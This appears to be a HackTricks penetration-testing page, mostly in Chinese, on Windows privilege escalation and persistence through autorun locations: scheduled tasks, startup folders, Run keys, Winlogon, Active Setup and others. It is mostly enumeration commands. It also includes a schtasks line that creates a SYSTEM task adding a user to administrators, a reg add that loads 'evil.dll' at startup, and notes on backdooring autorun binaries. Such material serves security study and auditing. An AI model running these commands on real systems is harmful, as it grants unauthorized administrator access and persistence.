Privilege Escalation with Autoruns

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

WMIC

Wmic 可以用来在 启动时 运行程序。查看哪些二进制文件被编程为在启动时运行:

wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

定时任务

任务可以按特定频率安排运行。查看哪些二进制文件被安排运行:

schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

#Schtask to give admin access
#You can also write that content on a bat file that is being executed by a scheduled task
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"

Folders

所有位于 启动文件夹 的二进制文件将在启动时执行。常见的启动文件夹如下所示,但启动文件夹在注册表中指示。阅读此以了解位置。

dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

注册表

此处的说明: Wow6432Node 注册表项表示您正在运行 64 位 Windows 版本。操作系统使用此键为在 64 位 Windows 版本上运行的 32 位应用程序显示 HKEY_LOCAL_MACHINE\SOFTWARE 的单独视图。

运行

常见的 AutoRun 注册表:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

  • HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce

  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx

被称为 RunRunOnce 的注册表键旨在每次用户登录系统时自动执行程序。分配给键的数据值的命令行限制为 260 个字符或更少。

服务运行(可以控制启动时服务的自动启动):

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

  • HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices

RunOnceEx:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

  • HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx

在 Windows Vista 及更高版本中,RunRunOnce 注册表键不会自动生成。这些键中的条目可以直接启动程序或将其指定为依赖项。例如,要在登录时加载 DLL 文件,可以使用 RunOnceEx 注册表键以及一个 "Depend" 键。这通过添加一个注册表项来演示,在系统启动时执行 "C:\temp\evil.dll":

reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"

Exploit 1: 如果您可以在 HKLM 中的任何提到的注册表项内写入,您可以在不同用户登录时提升权限。

Exploit 2: 如果您可以覆盖 HKLM 中任何注册表项上指示的任何二进制文件,您可以在不同用户登录时用后门修改该二进制文件并提升权限。

#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
reg query HKCU\Software\Wow5432Node\Microsoft\Windows\CurrentVersion\RunServices

reg query HKLM\Software\Microsoft\Windows\RunOnceEx
reg query HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Microsoft\Windows\RunOnceEx
reg query HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx

#PowerShell
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunE'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices'

Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKLM\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\RunOnceEx'
Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\RunOnceEx'

启动路径

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

放置在启动文件夹中的快捷方式将在用户登录或系统重启时自动触发服务或应用程序启动。启动文件夹的位置在注册表中为本地计算机当前用户范围定义。这意味着添加到这些指定启动位置的任何快捷方式都将确保链接的服务或程序在登录或重启过程后启动,使其成为安排程序自动运行的简单方法。

如果您可以覆盖HKLM下的任何[用户] Shell Folder,您将能够将其指向您控制的文件夹,并放置一个后门,该后门将在用户登录系统时执行,从而提升权限。

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"

Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders' -Name "Common Startup"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup"

Winlogon 键

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

通常,Userinit 键设置为 userinit.exe。然而,如果此键被修改,指定的可执行文件将在用户登录时由 Winlogon 启动。同样,Shell 键旨在指向 explorer.exe,这是 Windows 的默认外壳。

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"

如果您可以覆盖注册表值或二进制文件,您将能够提升权限。

策略设置

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

检查 Run 键。

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run"
Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"
Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run"

AlternateShell

更改安全模式命令提示符

在 Windows 注册表的 HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot 下,有一个默认设置为 cmd.exeAlternateShell 值。这意味着当你在启动时选择“带命令提示符的安全模式”(通过按 F8),将使用 cmd.exe。但是,可以设置计算机在不需要按 F8 和手动选择的情况下自动以此模式启动。

创建自动在“带命令提示符的安全模式”中启动的启动选项的步骤:

  1. 更改 boot.ini 文件的属性以移除只读、系统和隐藏标志:attrib c:\boot.ini -r -s -h

  2. 打开 boot.ini 进行编辑。

  3. 插入一行,如:multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)

  4. 保存对 boot.ini 的更改。

  5. 重新应用原始文件属性:attrib c:\boot.ini +r +s +h

  • Exploit 1: 更改 AlternateShell 注册表键允许自定义命令 shell 设置,可能用于未经授权的访问。

  • Exploit 2 (PATH 写权限): 对系统 PATH 变量的任何部分具有写权限,特别是在 C:\Windows\system32 之前,可以执行自定义的 cmd.exe,如果系统在安全模式下启动,这可能是一个后门。

  • Exploit 3 (PATH 和 boot.ini 写权限):boot.ini 的写访问使得自动安全模式启动成为可能,从而在下次重启时促进未经授权的访问。

要检查当前的 AlternateShell 设置,请使用以下命令:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell'

已安装组件

Active Setup 是 Windows 中的一个功能,它在桌面环境完全加载之前启动。它优先执行某些命令,这些命令必须在用户登录之前完成。此过程甚至在其他启动项(例如 Run 或 RunOnce 注册表部分中的项)被触发之前发生。

Active Setup 通过以下注册表键进行管理:

  • HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components

  • HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components

在这些键中,存在多个子键,每个子键对应一个特定组件。特别关注的键值包括:

  • IsInstalled:

  • 0 表示该组件的命令将不会执行。

  • 1 表示命令将为每个用户执行一次,如果缺少 IsInstalled 值,则这是默认行为。

  • StubPath: 定义 Active Setup 要执行的命令。它可以是任何有效的命令行,例如启动 notepad

安全洞察:

  • 修改或写入 IsInstalled 设置为 "1" 的键,并指定 StubPath 可能导致未经授权的命令执行,从而可能实现权限提升。

  • 更改任何 StubPath 值中引用的二进制文件也可能实现权限提升,前提是具有足够的权限。

要检查 Active Setup 组件中的 StubPath 配置,可以使用以下命令:

reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath

Browser Helper Objects

Overview of Browser Helper Objects (BHOs)

Browser Helper Objects (BHOs) 是 DLL 模块,旨在为 Microsoft 的 Internet Explorer 添加额外功能。它们在每次启动时加载到 Internet Explorer 和 Windows Explorer 中。然而,通过将 NoExplorer 键设置为 1,可以阻止它们的执行,从而防止它们与 Windows Explorer 实例一起加载。

BHOs 通过 Internet Explorer 11 与 Windows 10 兼容,但在 Microsoft Edge(新版本 Windows 的默认浏览器)中不受支持。

要探索系统上注册的 BHOs,可以检查以下注册表键:

  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

每个 BHO 在注册表中由其 CLSID 表示,作为唯一标识符。有关每个 CLSID 的详细信息可以在 HKLM\SOFTWARE\Classes\CLSID\{<CLSID>} 下找到。

要在注册表中查询 BHOs,可以使用以下命令:

reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s

Internet Explorer 扩展

  • HKLM\Software\Microsoft\Internet Explorer\Extensions

  • HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions

注意,注册表将为每个 dll 包含 1 个新的注册表项,并由 CLSID 表示。您可以在 HKLM\SOFTWARE\Classes\CLSID\{<CLSID>} 中找到 CLSID 信息。

字体驱动程序

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers

  • HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers"
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers'
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers'

打开命令

  • HKLM\SOFTWARE\Classes\htmlfile\shell\open\command

  • HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command

reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v ""
reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""

图像文件执行选项

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options

SysInternals

请注意,您可以找到 autoruns 的所有站点 已经被 winpeas.exe 搜索过。然而,对于 更全面的自动执行 文件列表,您可以使用来自 Sysinternals 的 autoruns

autorunsc.exe -m -nobanner -a * -ct /accepteula

更多

https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2 中查找更多类似的自动运行注册表。

参考文献

漏洞赏金提示注册 Intigriti,一个由黑客为黑客创建的高级漏洞赏金平台!今天就加入我们,访问 https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

学习与实践 AWS 黑客攻击:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客攻击:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated